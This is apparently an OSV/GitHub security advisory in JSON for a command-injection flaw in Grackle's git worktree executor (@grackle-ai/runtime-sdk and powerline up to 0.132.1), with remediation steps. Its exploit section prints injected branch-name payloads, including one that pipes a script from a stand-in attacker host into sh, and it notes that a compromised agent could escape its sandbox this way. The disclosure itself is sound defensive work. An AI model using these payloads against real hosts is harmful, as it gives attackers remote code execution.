Vulnerabilities in pkg:npm/@grackle-ai/powerline

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-vv65-f55v-xm6g",
  "modified" : "2026-07-02T19:16:57Z",
  "published" : "2026-07-02T19:16:57Z",
  "aliases" : [ ],
  "summary" : "Grackle has command/argument injection in the git worktree executor that enables RCE on provisioned hosts via an unsanitized task branch name (shell:true)",
  "details" : "## Summary\n\nThe default git executor used for all worktree operations spawns `git` through a shell, and the untrusted task **branch** name flows into the command unsanitized. A caller able to reach the PowerLine `SpawnSession` RPC (a malicious or compromised agent acting through the orchestration layer, or any client able to spawn a task) can achieve **arbitrary command execution** as the PowerLine user on every provisioned environment (SSH host, Docker container, or Codespace), escaping the agent sandbox.\n\nThis advisory bundles two related defects in `worktree.ts` (audit findings **F1** and **F13**).\n\n## Affected versions\n\n`@grackle-ai/runtime-sdk` (and reachable via `@grackle-ai/powerline`) at version **0.132.1** and earlier. All publishable packages are lockstep-versioned.\n\n## F1 — Command injection via `shell:true` (primary, High)\n\n**Location:** `packages/runtime-sdk/src/worktree.ts:22-28` (sink), `:135-143` (branch → args). Source: `packages/powerline/src/grpc-server.ts:112` (`req.branch`), `packages/runtime-sdk/src/base-session.ts:60,137`.\n\n`NODE_GIT_EXECUTOR.exec` runs:\n\n```ts\nconst shell = process.env.SHELL || true;   // worktree.ts:24 — always truthy\nconst result = await execRaw(\"git\", args, { ...options, shell });\n```\n\nWhen `shell` is truthy, Node does **not** pass `args` as a safe argv vector — it concatenates `git` + args into a single string run through `sh -c` with **no escaping**. The untrusted `branch` flows unvalidated from the `SpawnSession` gRPC request into:\n\n```ts\n[\"worktree\", \"add\", \"-b\", branch, wtPath, startPoint]   // worktree.ts:135-137\n[\"worktree\", \"add\", wtPath, branch]                     // fallback :143\n```\n\n`sanitizeBranch()` (`worktree.ts:50`) is applied **only** to compute the on-disk worktree directory path — *not* to the `-b <branch>` argument — so it provides zero protection at the injection sink.\n\n**Exploit:** set a task branch to `x;curl http://attacker/x.sh|sh;#` or `$(touch /tmp/pwned)`. `ensureWorktree` runs it under `sh -c`, yielding RCE as the PowerLine user. (Empirically confirmed during the audit: an args-array branch value `evilbranch;touch /tmp/PWNED` created the file.)\n\nThe sibling git path in `runtime-utils.ts:48-56` already uses `execFileAsync(\"git\", [...])` with **no** shell, confirming `shell:true` is unnecessary here.\n\n## F13 — Argument injection: missing `--` separator (residual, Low)\n\n**Location:** `packages/runtime-sdk/src/worktree.ts:135-143`.\n\nIndependent of the shell issue, `branch` is placed as a positional argument with no `--` terminator. The sibling `checkoutBranch` (`runtime-utils.ts:51`) correctly uses `[\"checkout\", \"--\", branch]`. Only the fallback invocation (bare trailing positional) is genuinely flag-injectable; `git worktree add` exposes no dangerous flags reachable this way, so standalone impact is limited — but it should be hardened alongside F1.\n\n## Remediation\n\n1. **Remove `shell` from `NODE_GIT_EXECUTOR`** — `execFile('git', args)` with the argv array is already safe and is the pattern used in `runtime-utils.ts`. This is the primary fix.\n2. Add a `--` separator before positional refs/paths in both `worktree add` invocations.\n3. **Defense in depth:** validate `branch` at the gRPC boundary (`grpc-server.ts`) against git ref rules — reject names beginning with `-`, containing `..`, or containing shell metacharacters — before it reaches `ensureWorktree`.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@grackle-ai/runtime-sdk"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "0.132.1"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@grackle-ai/powerline"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "0.132.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/nick-pape/grackle/security/advisories/GHSA-vv65-f55v-xm6g"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/nick-pape/grackle"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-78", "CWE-88" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-02T19:16:57Z",
    "nvd_published_at" : null
  }
}